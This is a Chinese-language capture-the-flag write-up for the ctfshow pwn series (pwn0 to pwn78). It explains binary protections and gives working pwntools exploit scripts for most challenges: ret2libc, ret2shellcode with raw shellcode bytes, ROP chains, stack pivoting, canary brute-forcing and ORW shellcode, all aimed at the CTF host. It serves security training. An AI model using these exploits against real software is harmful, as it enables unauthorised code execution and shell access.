Test_your_nc pwn0
pwn1
发现nc连接后可以直接获得flag。
pwn2
发现直接给了我们shell,只需要nc连接后并执行cat /ctfshow_flag命令即可获得flag。
pwn3
程序本身很简单,就是找到哪个函数能够获得flag。
直接选6即可获得flag。
但是在这里有一个迷惑选项4,就是echo /ctfshow_flag命令。
echo命令:是Linux系统中的一个基础命令,用于在终端输出文本或变量值,常用于脚本中显示信息、调试或生成文件。常用选项:-n 不换行;-e 启用转义字符解释。高级用法:使用重定向将输出保存到文件,如echo “aaaa” > output.txt;追加内容到文件,如echo “aaaa” >> output.txt。
因此当选择选项4时,并不会获得flag,而将打印出ctfshow_flag。
pwn4
该程序将用户输入的字符串与原先已设定好的字符串进行比较,若相同,则调用execve函数获得shell。(具体用法在ret2syscall)
前置基础 pwn5-pwn12 section .data msg db "Welcome_to_CTFshow_PWN", 0 section .text global _start _start: ; 立即寻址方式 mov eax, 11 ; 将11赋值给eax add eax, 114504 ; eax加上114504 sub eax, 1 ; eax减去1 ; 寄存器寻址方式 mov ebx, 0x36d ; 将0x36d赋值给ebx mov edx, ebx ; 将ebx的值赋值给edx ; 直接寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx ; 寄存器间接寻址方式 mov esi, msg ; 将msg的地址赋值给esi mov eax, [esi] ; 将esi所指向的地址的值赋值给eax ; 寄存器相对寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx add ecx, 4 ; 将ecx加上4 mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax ; 基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 2 ; 将2赋值给edx mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax ; 相对基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 1 ; 将1赋值给edx add ecx, 8 ; 将ecx加上8 mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax ; 输出字符串 mov eax, 4 ; 系统调用号4代表输出字符串 mov ebx, 1 ; 文件描述符1代表标准输出 mov ecx, msg ; 要输出的字符串的地址 mov edx, 22 ; 要输出的字符串的长度 int 0x80 ; 调用系统调用 ; 退出程序 mov eax, 1 ; 系统调用号1代表退出程序 xor ebx, ebx ; 返回值为0 int 0x80 ; 调用系统调用
这部分给了我们一个.asm文件以及一个与其对应的可执行文件,该部分主要让我们了解一些寄存器、寻址方式。
.asm文件:为汇编语言的源代码文件,常用于描述CPU的低级操作指令,它是机器指令的文本形式,直接与硬件交互。.asm文件通常用NASM汇编器编写,由于NASM汇编器与GCC工具链不是直接集成的,因此处理需要经过以下步骤:
nasm -f elf xxx.asm #生成一个xxx.o文件 ld -m elf_i386 -s -o xxx xxx.o #将xxx.o文件链接成可执行文件
pwn13 这题主要考察gcc的一个使用
pwn14 这题给了我们一个.c文件,主要是将二进制文件内容转换成二进制字符串形式,并以特点格式输出。
需要先创建一个以key命名的文本文件,并在其里面写入CTFshow。
pwn15 这题主要考察如何将.asm文件变为可执行文件。
这里需要注意的是操作系统不一样,编译与链接命令也不一样 。
pwn16 这题主要考察如何将.s文件变为可执行文件。
其实.s文件与.asm文件都是汇编语言源代码文件,其核心区别在于语法和配套的汇编器。.s文件的默认汇编器为as,语法风格为AT&T语法,而.asm文件的默认汇编器为nasm、MASM、FASM,语法风格为Intel语法
pwn17
该题是一道简单的菜单题,主要考察了我们Linux系统的一些指令使用。此题的话主要看2,3选项,其他的选项没有实质性的意义。
选项3最后会执行system(“cat /ctfshow_flag”)并获得flag,但问题是期间会sleep很久,又由于远程环境时间有限,因此不选该选项。
选项2限制用户输入不超过10字节的字符串,并执行该字符串,因此我们可以直接输入/bin/sh获得shell,或者使用通配符*直接获取flag。
pwn18 这题主要考察了对echo指令的了解
主要是让我们判断哪一个是真的能获取到flag,有两个函数,一个是fake函数,一个是real函数。
对于echo指令,>表示的是将前面的内容替换文件中的内容并保存起来,>>表示的是将前面的内容追加到文件中内容的后面并保存起来。
因此若选择real函数,那么flag is here将会代替/ctfshow_flag文件中原有的内容,即flag,最后得到的就是flag is here;若选择fake函数,那么flag is here将会追加到/ctfshow_flag文件中原有内容的后面,即flag后面加上flag is here,最后去掉flag is here就是flag。
pwn19
该题使用了fclose()关闭文件输出流,接着让用户输入一串字符串,再执行该字符串。本题的难点在于关闭了输出流,那么无法标准输出,就需要进行输出重定向,将标准输出重定向到标准输入。
pwn20-pwn22 该题主要考察对RELRO保护 的了解,其主要是通过限 制和保护**全局偏移表(GOT)和 过程链接表(PLT)**的可写性来防止针对这些结构的攻击。
该保护有三种状态:No RELRO,GOT和PLT均可写;Partial RELRO,GOT开头部分为只读,剩余部分仍可写;Full RELRO,GOT和PLT均为只读 。
pwn23 简单的一道溢出题目,使用ssh连接后运行程序造成溢出即可获得flag
pwn24
该题没有开启NX保护且没有沙盒保护,因此可以直接打ret2shellcode,这里使用shellcraft模块编写shellcode更加方便。
该题主要研究ctfshow函数,由于该函数无法跟进,就只能看汇编。首先调用__x86_get_pc_thunk_bx函数,将当前指令指针的值保存到ebx中,接着调用read函数,将输入的东西保存到缓冲区,然后再打印出来,最后执行缓冲区中存储的代码。
from pwn import *context.arch='i386' io=remote('pwn.challenge.ctf.show' ,28303 ) shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn25 一道简单的ret2libc,使用write泄漏libc基址。
from pwn import *from LibcSearcher import *elf=ELF('./pwn25' ) io=remote('pwn.challenge.ctf.show' ,28165 ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=elf.sym['main' ] payload1=cyclic(0x88 +4 )+p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) io.sendline(payload1) write=u32(io.recv(4 )) print (hex (write))libc=LibcSearcher('write' ,write) libc_base=write-libc.dump('write' ) system=libc_base+libc.dump('system' ) bin_sh=libc_base+libc.dump('str_bin_sh' ) payload2=cyclic(0x88 +4 )+p32(system)+p32(main)+p32(bin_sh) io.sendline(payload2) io.interactive()
这里使用的是LibcSearcher查找libc版本,当然若给了相应libc版本的文件,可以直接导入。
pwn26 该题主要考察ASLR保护参数值的设置。使用下述指令将ASLR参数改为0,获得flag
echo 0 > /proc/sys/kernel/randomize_va_space
ASLR保护即地址空间布局随机化(Address Space Layout Randomization),在Linux下通过/proc/sys/kernel/randomize_va_space文件配置。ASLR工作主要有三个层次:0-完全关闭ASLR保护;1-部分随机化(栈的基地址、共享库的加载基地址、mmap基地址)2-完全随机化(包含1的所有随机化、随机化堆的基地址等等)。
pwn27 使用下述指令将ASLR参数改为0或1,获得flag
echo 0 > /proc/sys/kernel/randomize_va_space echo 1 > /proc/sys/kernel/randomize_va_space
pwn28 使用下述指令将ASLR参数改为0或1或2,获得flag
echo 0 > /proc/sys/kernel/randomize_va_space echo 1 > /proc/sys/kernel/randomize_va_space echo 2 > /proc/sys/kernel/randomize_va_space
pwn29 该题就是感受一下ASLR与PIE同时开启后的地址是什么样的,但是随机的都仅仅是某个对象的起始地址,内部结构没变,也就是相对偏移不会变,因此在后续遇到开启了PIE保护的题目,就得先找到基址,然后通过相对偏移算出所需地址即可。
pwn30 也是一道ret2libc的题目
from pwn import *from LibcSearcher import *elf=ELF('./pwn30' ) io=remote('pwn.challenge.ctf.show' ,28232 ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=elf.sym['main' ] payload1=cyclic(0x88 +4 )+p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) io.sendline(payload1) write=u32(io.recv(4 )) print (hex (write))libc=LibcSearcher('write' ,write) libc_base=write-libc.dump('write' ) system=libc_base+libc.dump('system' ) bin_sh=libc_base+libc.dump('str_bin_sh' ) payload2=cyclic(0x88 +4 )+p32(system)+p32(main)+p32(bin_sh) io.sendline(payload2) io.interactive()
pwn31 一道开启了PIE保护的题目
题目直接给了我们main函数的地址,可以接收该地址,接着可以算出基址,然后就没什么难点了。
from pwn import* from LibcSearcher import* context.log_level='debug' io=remote('pwn.challenge.ctf.show',28311) elf=ELF('./pwn31') main=int(io.recvline(),16) print(hex(main)) addr_base=main-elf.sym['main'] write_plt=addr_base+elf.sym['write'] write_got=addr_base+elf.got['write'] ctfshow=addr_base+elf.sym['ctfshow'] ebx=addr_base+0x1fc0 payload1=b'a'*132+p32(ebx)+b'aaaa'+p32(write_plt)+p32(ctfshow)+p32(1)+p32(write_got)+p32(4) io.sendline(payload1) write=u32(io.recv(4)) print(hex(write)) libc=LibcSearcher('write',write) libc_base=write-libc.dump('write') system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh') payload2=cyclic(0x88+4)+p32(system)+p32(ctfshow)+p32(bin_sh) io.sendline(payload2) io.interactive()
pwn32-pwn34 这三道题主要介绍了FORTIFY_SOURCE保护机制,旨在防止缓冲区溢出和其它与字符串和内存操作相关的安全漏洞,其是在编译时自动插入一组额外代码,用于增强程序对于缓冲区溢出和其他常见安全问题的防护。FORTIFY_SOURCE主要有:运行时长度检查、缓冲区溢出检测、安全警告和错误报告。不同的级别,开启的保护机制是不一样的。
栈溢出 pwn35 一个简单的栈溢出,直接输入大量字符串造成溢出使得程序崩溃,并打印出flag
这里主要是因为signal函数,当收到信号11(SIGSEGV)时就会去执行后面那个函数即打印出flag。
pwn36 简单的32位栈溢出
from pwn import* io=remote('pwn.challenge.ctf.show',28231) backdoor=0x8048586 payload=cyclic(0x28+4)+p32(backdoor) io.sendline(payload) io.interactive()
pwn37 简单的32位栈溢出,给了shell
from pwn import* io=remote('pwn.challenge.ctf.show',28150) backdoor=0x8048521 payload=cyclic(0x12+4)+p32(backdoor) io.sendline(payload) io.interactive()
pwn38 简单的64位栈溢出,给了shell,但是得注意堆栈平衡
from pwn import* context.log_level='debug' io=remote('pwn.challenge.ctf.show',28230) ret=0x0400287 backdoor=0x400657 payload=b'a'*(0xA+8)+p64(ret)+p64(backdoor) io.sendline(payload) io.interactive()
pwn39 简单的32位栈溢出,这次将system函数和/bin/sh字符串分开了,需要构造一下
from pwn import* elf=ELF('./pwn39') io=remote('pwn.challenge.ctf.show',28229) system=elf.sym['system'] bin_sh=0x08048750 payload=cyclic(0x12+4)+p32(system)+p32(0)+p32(bin_sh) io.sendline(payload) io.interactive()
pwn40 简单的64位栈溢出,依旧是将system函数和/bin/sh字符串分开了,64位的传参方式是先rdi、rsi、rdx、rcx、r8、r9这几个寄存器,然后才是栈,因此脚本会有所不同
from pwn import* context.arch='amd64' elf=ELF('./pwn40') io=remote('pwn.challenge.ctf.show',28249) bin_sh=0x0400808 system=elf.sym['system'] ret=0x04004fe rdi=0x04007e3 payload=cyclic(0xA+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendline(payload) io.interactive()
pwn41 简单的32位栈溢出,这次不是/bin/sh字符串了,是sh字符串了
system(‘/bin/sh’)是直接指定了系统默认的shell程序路径来执行命令,而system(‘sh’)则依赖系统的环境变量$PATH来查找sh可执行文件并执行,如果系统的环境变量设置正确,这两种是一样的
from pwn import* elf=ELF('./pwn41') io=remote('pwn.challenge.ctf.show',28312) sh=0x080487BA system=elf.sym['system'] payload=cyclic(0x12+4)+p32(system)+p32(0)+p32(sh) io.sendline(payload) io.interactive()
pwn42 简单的64位栈溢出,跟pwn41一样
from pwn import* elf=ELF('./pwn42') io=remote('pwn.challenge.ctf.show',28121) rdi=0x0400843 ret=0x040053e sh=0x0400872 system=elf.sym['system'] payload=cyclic(0xA+8)+p64(ret)+p64(rdi)+p64(sh)+p64(system) io.sendline(payload) io.interactive()
pwn43 简单的32位栈溢出,这次只有system函数,没有如/bin/sh和sh的字符串了,因此需要重新构造脚本
存在栈溢出,在bss段上存在buf2这么一个变量,因此可以在此处输入/bin/sh字符串,再构造system(‘/bin/sh’)从而获取shell
from pwn import* elf=ELF('./pwn43') io=remote('pwn.challenge.ctf.show',28281) bss=0x0804B060 gets=elf.sym['gets'] system=elf.sym['system'] main=elf.sym['main'] payload1=cyclic(0x6C+4)+p32(gets)+p32(main)+p32(bss) io.sendline(payload1) payload2=cyclic(0x6C+4)+p32(system)+p32(0)+p32(bss) io.sendline(b'/bin/sh\x00') io.sendline(payload2) io.interactive()
pwn44 简单的64位栈溢出,和pwn43一样
from pwn import* elf=ELF('./pwn44') io=remote('pwn.challenge.ctf.show',28125) main=elf.sym['main'] system=elf.sym['system'] gets=elf.sym['gets'] bss=0x0602080 rdi=0x04007f3 ret=0x04004fe payload1=cyclic(0xA+8)+p64(rdi)+p64(bss)+p64(gets)+p64(main) io.sendline(payload1) payload2=cyclic(0xA+8)+p64(ret)+p64(rdi)+p64(bss)+p64(system) io.sendline(b'/bin/sh') io.sendline(payload2) io.interactive()
pwn45 简单的32位ret2libc,通过write泄漏libc基址
from pwn import* from LibcSearcher import* elf=ELF('./pwn45') io=remote('pwn.challenge.ctf.show',28302) write_plt=elf.plt['write'] write_got=elf.got['write'] main=elf.sym['main'] payload=cyclic(0x6B+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) io.sendline(payload) write=u32(io.recvuntil('\xf7')[-4:]) print(hex(write)) libc=LibcSearcher('write',write) libc_base=write-libc.dump('write') system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh') payload=cyclic(0x6B+4)+p32(system)+p32(main)+p32(bin_sh) io.sendline(payload) io.interactive()
pwn46 简单的64位ret2libc,通过write泄漏libc基址
from pwn import* from LibcSearcher import* io=remote('pwn.challenge.ctf.show',28281) elf=ELF('./pwn46') write_plt=elf.plt['write'] write_got=elf.got['write'] main=elf.sym['main'] rdi=0x0400803 rsi_r15=0x0400801 ret=0x04004fe payload=cyclic(0x70+8)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main) io.sendline(payload) write=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(write)) libc=LibcSearcher('write',write) libc_base=write-libc.dump('write') system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh') payload=cyclic(0x70+8)+p64(rdi)+p64(bin_sh)+p64(system) io.sendline(payload) io.interactive()
pwn47
一道简单的32位ret2libc,直接给了函数地址与/bin/sh字符串地址,因此可以直接泄漏libc基址并获取shell。
from pwn import* from LibcSearcher import* elf=ELF('./pwn47') io=remote('pwn.challenge.ctf.show',28235) io.recvuntil('puts: ') puts=eval(io.recvuntil('\n',drop=True)) print(hex(puts)) libc=LibcSearcher('puts',puts) libc_base=puts-libc.dump('puts') system=libc_base+libc.dump('system') io.recvuntil('gift: ') bin_sh=eval(io.recvuntil('\n',drop=True)) payload=cyclic(0x9c+4)+p32(system)+p32(0)+p32(bin_sh) io.sendline(payload) io.interactive()
pwn48 简单的32位ret2libc,这次使用的是puts泄漏libc基址
from pwn import* from LibcSearcher import* elf=ELF('./pwn48') io=remote('pwn.challenge.ctf.show',28277) puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] payload1=cyclic(0x6b+4)+p32(puts_plt)+p32(main)+p32(puts_got) io.sendline(payload1) puts=u32(io.recvuntil('\xf7')[-4:]) print(hex(puts)) libc=LibcSearcher('puts',puts) libc_base=puts-libc.dump('puts') system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh') payload2=cyclic(0x6b+4)+p32(system)+p32(main)+p32(bin_sh) io.sendline(payload2) io.interactive()
pwn49 一道静态编译的32位题目,使用mprotect函数可以将内存权限修改为可读可写可执行。
from pwn import* elf=ELF('./pwn49') io=remote('pwn.challenge.ctf.show',28243) mprotect=elf.sym['mprotect'] read=elf.sym['read'] register=0x080a019b m_start=0x080DA000 m_size=0x1000 m_proc=7 payload=cyclic(0x12+4)+p32(mprotect)+p32(0x080a019b)+p32(m_start)+p32(m_size)+p32(m_proc) payload+=p32(read)+p32(0x080a019b)+p32(0)+p32(m_start)+p32(m_size) payload+=p32(m_start) io.sendline(payload) shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
当然可以打ret2libc。
pwn50 64位ret2libc
from pwn import* from LibcSearcher import* libc=ELF('./pwn50_libc.so') elf=ELF('./pwn50') io=remote('pwn.challenge.ctf.show',28257) puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] rdi=0x04007e3 rsi_r15=0x04007e1 ret=0x04004fe payload1=cyclic(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendlineafter('Hello CTFshow',payload1) puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts)) libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh')) payload2=cyclic(0x20+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendline(payload2) io.interactive()
mprotect
from pwn import* from LibcSearcher import* context.arch='amd64' libc=ELF('./pwn50_libc.so') elf=ELF('./pwn50') io=remote('pwn.challenge.ctf.show',28257) #io=process('./pwn50') puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] rdi=0x04007e3 ret=0x04004fe payload1=cyclic(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendlineafter('Hello CTFshow',payload1) puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts)) libc_base=puts-libc.sym['puts'] mprotect=libc_base+libc.sym['mprotect'] gets=libc_base+libc.sym['gets'] rsi=libc_base+0x023a6a rdx=libc_base+0x01b96 m_start=0x601000 m_size=0x1000 m_proc=7 payload2=cyclic(0x20+8)+p64(rdi)+p64(m_start)+p64(rsi)+p64(m_size)+p64(rdx)+p64(m_proc)+p64(mprotect)+p64(main) io.sendline(payload2) payload3=cyclic(0x20+8)+p64(rdi)+p64(m_start)+p64(gets)+p64(main) io.sendline(payload3) io.sendline(asm(shellcraft.sh())) payload4=cyclic(0x20+8)+p64(m_start) io.sendline(payload4) io.interactive()
pwn51 一道简单的32位题目,该题可以实现将I转换成IronMan,因此可以根据这个造成栈溢出。
from pwn import* io=remote('pwn.challenge.ctf.show',28265) cat_flag=0x0804902E payload=b'I'*16+p32(cat_flag) io.sendline(payload) io.interactive()
pwn52 简单的32位题目,只需要在调用函数时加上参数即可。
from pwn import* io=remote('pwn.challenge.ctf.show',28170) flag=0x08048586 payload=cyclic(0x6C+4)+p32(flag)+p32(0)+p32(0x36c)+p32(0x36d) io.sendline(payload) io.interactive()
pwn53 这是一道需要爆破canary的题目,与平时的canary不同的是此题是模拟了一个静态的canary,并不是常规意义上的canary。
from pwn import* canary=b'' for i in range(4): for CanaryBit in range(0xFF): io = remote("pwn.challenge.ctf.show",28235) payload = b'a'*(0x20) + canary + p8(CanaryBit) io.sendlineafter(b'>',b"99999") io.sendafter(b'$ ',payload) response = io.recvline() io.close() if b'Canary Value Incorrect!' in response: print(f'Canary = {canary} | {p8(CanaryBit)} is Wrong') else: print(f'Canary = {canary} | {p8(CanaryBit)} is Right') canary += p8(CanaryBit) break print(f'Compelete! Canary = {canary}') io = remote("pwn.challenge.ctf.show",28235) binsh_add = 0x08048696 payload = b'a'*(0x20) + canary + b'a'*(0x10) + p32(binsh_add) io.sendlineafter(b'>',b"99999") io.sendafter(b'$ ',payload) io.interactive()
pwn54
一道模拟用户登录题目,输入用户名,再打印出用户名,再输入密码进行对比,一致就获得flag。这题难点在于如何泄漏密码,由于puts函数会一直输出直到换行符或空白时才停止的特性,那么可以通过这个来泄漏密码。
from pwn import* io=remote('pwn.challenge.ctf.show',28296) payload=cyclic(0x100) io.sendlineafter('Input your Username:',payload) io.sendline(payload) io.recvuntil(b',') password=io.recv(33) print(password) io.close() io=remote('pwn.challenge.ctf.show',28296) io.sendline(b'haoo') io.sendline(password) io.interactive()
pwn55 一道简单的32位栈溢出题目,通过调用不同函数并设置相应的参数,从而满足最后获得flag的条件。
from pwn import* elf=ELF('./pwn55') io=remote('pwn.challenge.ctf.show',28263) flag=0x08048606 flag1=0x08048586 flag2=0x0804859D ctfshow=elf.sym['ctfshow'] payload1=cyclic(0x2c+4)+p32(flag1)+p32(ctfshow) io.sendline(payload1) payload2=cyclic(0x2c+4)+p32(flag2)+p32(ctfshow)+p32(0xACACACAC) io.sendline(payload2) payload3=cyclic(0x2c+4)+p32(flag)+p32(ctfshow)+p32(0xBDBDBDBD) io.sendline(payload3) io.interactive()
pwn56
简单介绍了32位的ret2shellcode,首先是将字符串/bin/sh入栈再将栈顶地址赋值给ebx寄存器,将ecx与edx寄存器的值设为0,最后将eax的值设为0xb,并使用int 0x80。从而实现execve(‘/bin/sh’,0,0),获得shell。
pwn57
简单的介绍了64位的ret2shellcode,先将rax寄存器入栈,再将rdx和rsi寄存器的值设为0,将/bin//sh字符串放到rbx寄存器中并将该寄存器入栈,最后将/bin//sh弹出到rdi寄存器中并将rax的值设为0x3B,使用syscall触发系统调用。
pwn58 简单的32位ret2shellcode,使用shellcraft模块直接构造shellcode即可
from pwn import* io=remote('pwn.challenge.ctf.show',28202) shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn59 简单的64位ret2shellcode,只需要设置一下架构即可。
from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28174) shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn60 简单的32位ret2shellcode。通过栈溢出返回到执行shellcode的地方即可
from pwn import* io=remote('pwn.challenge.ctf.show',28189) bss=0x0804A080 shellcode=asm(shellcraft.sh()) payload=shellcode.ljust(112,b'a')+p32(bss) io.sendline(payload) io.interactive()
pwn61 简单的64位ret2shellcode,主要在于接收地址。
from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28121) shellcode=asm(shellcraft.sh()) io.recvuntil(b'[') v5=io.recvuntil(b']',drop=True) v5=int(v5,16) print(v5) payload=cyclic(0x10+8)+p64(v5+32)+shellcode io.sendline(payload) io.interactive()
pwn62 简单的64位ret2shellcode,主要这次的shellcode输入长度要控制在0x18个字节以内
from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28195) shellcode=b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" #24字节shellcode io.recvuntil(b'[') buf=io.recvuntil(b']',drop=True) buf=int(buf,16) payload=cyclic(0x10+8)+p64(buf+32)+shellcode io.sendline(payload) io.interactive()
pwn63 这次shellcode的长度要控制在0x17个字节以内
from pwn import* context.arch="amd64" io=remote("pwn.challenge.ctf.show",28217) shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" #23字节shellcode io.recvuntil(b"[") buf=io.recvuntil(b"]",drop=True) buf=int(buf,16) payload=cyclic(0x10+8)+p64(buf+32)+shellcode io.sendline(payload) io.interactive()
pwn64
此题使用了mmap函数分配了一块连续的地址空间,指定了其相应的权限和属性(可读可写可执行),并将起始地址保存到变量buf中。
from pwn import* context.arch='i386' io=remote('pwn.challenge.ctf.show',28123) shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn65 这题主要考察可见字符shellcode的编写,使用工具即可。
from pwn import* io=remote('pwn.challenge.ctf.show',28264) shellcode=b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" #可见字符shellcode io.sendafter('Shellcode\n',shellcode) io.interactive()
pwn66 from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28103) shellcode=asm(shellcraft.sh()) payload=b'\x00\xc0'+shellcode io.sendline(payload) io.interactive()
pwn67
此题没有开启NX保护,因此可以打shellcode,关键在于如何找到shellcode的地址,只要找到了地址就可以执行shellcode获得shell。
可以看出position的值与v1有关。
通过可以画出大致的栈结构图,此时v1距离seed有0x2d,position=v3=&v1+v2=seed-0x2d+v2=seed-0x2d+random-668(random为0~1336),因此seed=position+0x2d+668-random。我们的nop指令和shellcode是写入到seed中,又因为输入v5的地址要在第一个nop之后在shellcode之前,因此地址可以是seed+random。
from pwn import* io=remote('pwn.challenge.ctf.show',28251) shellcode=asm(shellcraft.sh()) io.recvuntil(b'The current location: ') addr=eval(io.recvuntil('\n',drop=True)) print(hex(addr)) payload=b'\x90'*1336+shellcode io.sendline(payload) sh=addr+0x29c+0x2d io.sendline(hex(sh)) io.interactive()
pwn68 64位的nop sled
from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28144) shellcode=asm(shellcraft.sh()) io.recvuntil(b'The current location: ') addr=eval(io.recvuntil('\n',drop=True)) payload=b'\x90'*1336+shellcode io.sendline(payload) sh=addr+668+0x35 io.sendline(hex(sh)) io.interactive()
pwn69 打orw
开启了沙盒保护,且输入长度不够,但没开NX保护,因此可以先调用read函数,在执行orw。
from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28183) jmp_rsp=0x0400A01 addr=0x123000 orw_shellcode=shellcraft.open('/ctfshow_flag')+shellcraft.read(3,addr,0x100)+shellcraft.write(1,addr,0x100) orw_shellcode=asm(orw_shellcode) jump_addr=''' mov rax,0x123000; jmp rax; ''' jump_buf=''' sub rsp,0x30; jmp rsp; ''' payload=asm(shellcraft.read(0,addr,0x1000))+asm(jump_addr) payload=payload.ljust(0x28,b'a') payload+=p64(jmp_rsp)+asm(jump_buf) io.sendlineafter(b'do',payload) io.sendline(orw_shellcode) io.interactive()
pwn70 绕过strlen打orw。
exp1:
from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28231) shellcode=b'\x00B\x00'+asm(shellcraft.cat('/flag')) io.sendline(shellcode) io.interactive()
exp2:
from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28231) shellcode=''' push 0; #write mov r15,0x67616c66; #flag push r15; mov rdi,rsp; mov rsi,0; mov rax,2; syscall; #read mov rdi,3; mov rsi,rsp; mov rdx,0xff; mov rax,0; syscall; #write mov rdi,1; mov rsi,rsp; mov rdx,0xff; mov rax,1; syscall; ''' shellcode=asm(shellcode) io.sendline(shellcode) io.interactive()
pwn71 32位ret2syscall
from pwn import* io=remote('pwn.challenge.ctf.show',28251) bin_sh=0x080BE408 eax=0x080bb196 edx_ecx_ebx=0x0806eb90 int_0x80=0x08049421 payload=cyclic(112)+p32(eax)+p32(0xB)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80) io.sendline(payload) io.interactive()
pwn72 from pwn import* io=remote('pwn.challenge.ctf.show',28306) int_0x80=0x0806F350 bss=0x080eb000 eax=0x080bb2c6 edx_ecx_ebx=0x0806ecb0 payload=cyclic(44)+p32(eax)+p32(0x3)+p32(edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0)+p32(int_0x80) payload+=p32(eax)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(int_0x80) io.sendline(payload) io.sendline(b'/bin/sh\x00') io.interactive()
pwn73 一把梭
ROPgadget --binary pwn73 --ropchain
pwn74 这题介绍了one_gadget攻击方式。one_gadget是libc中存在一些执行execve(‘/bin/sh’,0,0)的片段,当可以泄漏libc地址,并且知道libc版本时可以使用此方法快速控制指令寄存器开启shell。运用于不利构造参数的情况。
from pwn import* libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') elf=ELF('./pwn74') io=remote('pwn.challenge.ctf.show',28253) one_gadget=0x10a2fc io.recvuntil('this:') printf=int(io.recv(14),16) print(printf) libc_base=printf-libc.sym['printf'] io.sendline(str(one_gadget+libc_base)) io.interactive()
pwn75 打的32位栈迁移,先泄漏ebp地址,算出输入地址。
from pwn import* elf=ELF('./pwn75') io=remote('pwn.challenge.ctf.show',28213) leave=0x080484d5 system=elf.sym['system'] payload=b'a'*0x28 io.sendafter('codename:',payload) io.recvuntil('a'*0x28) ebp=u32(io.recv(4).ljust(4,b'\x00')) print(hex(ebp)) buf=ebp-0x38 payload=p32(system)+p32(0)+p32(buf+12)+b'/bin/sh\x00' payload=payload.ljust(0x28,b'a') payload+=p32(buf-4)+p32(leave) io.send(payload) io.interactive()
pwn76 本题先对用户输入的字符串进行base64解码再保存解码后的字符串长度(不能超过12)并将其保存到input中,接着可以修改ebp的值至input,将后门函数存到input,获取即可。
from pwn import* io=remote('pwn.challenge.ctf.show',28135) shell=0x08049284 intput=0x0811EB40 payload=b'aaaa'+p32(shell)+p32(intput) payload=base64.b64encode(payload) #base64编码 io.sendline(payload) io.interactive()
pwn77 另一种形式的64位ret2libc,注意不要覆盖数组索引
from pwn import* elf=ELF('./pwn77') libc=ELF('./pwn77libc.so') io=remote('pwn.challenge.ctf.show',28276) rdi=0x04008e3 ret=0x0400576 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] payload=cyclic(0x110-4)+p32(0x10d)+b'aaaaaaaa'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload) puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts)) libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00')) payload=cyclic(0x110-4)+p32(0x10d)+b'aaaaaaaa'+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main) io.sendline(payload) io.interactive()
pwn78 64位ret2syscall的多系统调用
